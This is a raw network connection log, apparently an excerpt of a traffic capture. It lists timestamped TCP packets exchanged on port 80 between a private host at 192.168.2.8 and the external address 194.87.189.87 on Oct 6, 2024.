Oct 6, 2024 21:28:16.544611931 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544625044 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544645071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544651031 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544670105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544677973 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544693947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544704914 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544718981 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544743061 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544753075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544780016 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544800043 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544806957 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544817924 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544833899 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544859886 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544869900 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544887066 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544888020 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544903994 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544914961 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544925928 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544943094 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544959068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544969082 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544981003 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544995070 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545018911 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545021057 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545036077 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545048952 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545070887 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545074940 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545092106 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545101881 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545114040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545147896 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545150042 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545176983 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545197010 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545202971 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545227051 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545231104 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545243979 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545258045 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545274973 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545284986 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545300961 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545311928 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545325994 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545337915 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545361996 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545365095 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545380116 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545392990 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.545412064 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.545435905 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.548059940 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548120022 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548135996 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548137903 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.548145056 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548166037 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.548211098 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.548317909 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548361063 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.548614025 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548623085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.548661947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.548683882 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549014091 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549022913 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549032927 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549063921 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549078941 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549091101 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549099922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549124002 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549133062 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549159050 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549180984 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549181938 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549228907 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.549262047 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.549300909 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.550656080 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.550704002 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.550731897 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.550740957 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.550781965 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.550896883 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.550940990 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.550947905 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.550985098 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.550988913 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.550993919 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551011086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551032066 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551052094 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551054955 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551069021 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551089048 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551109076 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551184893 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551208019 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551217079 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551223040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551244974 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551261902 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551269054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551296949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.551311970 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.551337957 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553292036 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553348064 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553383112 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553426027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553487062 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553503036 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553512096 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553525925 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553549051 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553556919 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553606987 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553633928 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553642988 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553669930 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553673029 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553682089 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553699017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553721905 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553731918 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553740978 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553750992 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553783894 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553786039 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553802967 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553832054 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553843021 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553852081 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553859949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553885937 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553913116 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553919077 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553929090 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553960085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553965092 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.553968906 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.553983927 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554003954 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554006100 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554013968 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554023981 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554052114 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554086924 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554096937 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554105997 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554114103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554135084 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554143906 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554155111 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554155111 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554172039 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554209948 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554244995 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554254055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554261923 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554270029 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554279089 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554280043 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554287910 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554301977 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554310083 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554336071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554347038 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554356098 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554361105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554364920 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554380894 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554389000 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554408073 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554409027 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554419041 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554445982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554446936 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554456949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554464102 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554482937 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554487944 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554497004 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554503918 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554527044 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554536104 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554537058 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554544926 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554563046 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554580927 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554594040 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554601908 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554604053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554611921 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554625034 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554646015 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554661036 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554671049 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554680109 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554687977 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554697990 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554706097 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554708958 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554716110 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554747105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554765940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554789066 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554797888 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554805994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554814100 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.554841042 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.554866076 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555013895 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555022955 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555031061 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555038929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555047035 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555054903 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555063963 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555072069 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555079937 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555080891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555088043 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555097103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555104971 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555109978 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555113077 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555121899 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555130959 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555134058 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555139065 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555154085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555162907 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555166960 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555171013 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555180073 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555188894 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555196047 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555197001 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555206060 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555214882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555222988 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555223942 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555233002 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555242062 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555249929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555258036 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555269003 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555304050 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555349112 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555357933 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555366993 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555375099 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555389881 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555392027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555429935 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555449009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555563927 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555572987 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555581093 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555588961 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555597067 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555600882 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555605888 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555614948 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555623055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555630922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555641890 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555661917 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.555679083 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.555701017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556113958 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556162119 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556162119 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556197882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556201935 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556207895 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556233883 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556256056 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556327105 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556335926 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556365013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556377888 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556384087 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556418896 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556441069 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556452036 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556468010 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556477070 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556482077 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556485891 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556515932 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556538105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556580067 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556590080 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556598902 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556622982 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556631088 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556631088 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556642056 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556653976 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556655884 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556664944 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556688070 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556689978 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.556715012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.556745052 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558216095 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558224916 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558257103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558274031 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558326006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558330059 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558336020 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558367014 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558376074 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558382988 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558415890 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558490992 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558540106 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558549881 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558588982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558618069 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558630943 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558657885 CEST	49748	80	192.168.2.8	194.87.189.87
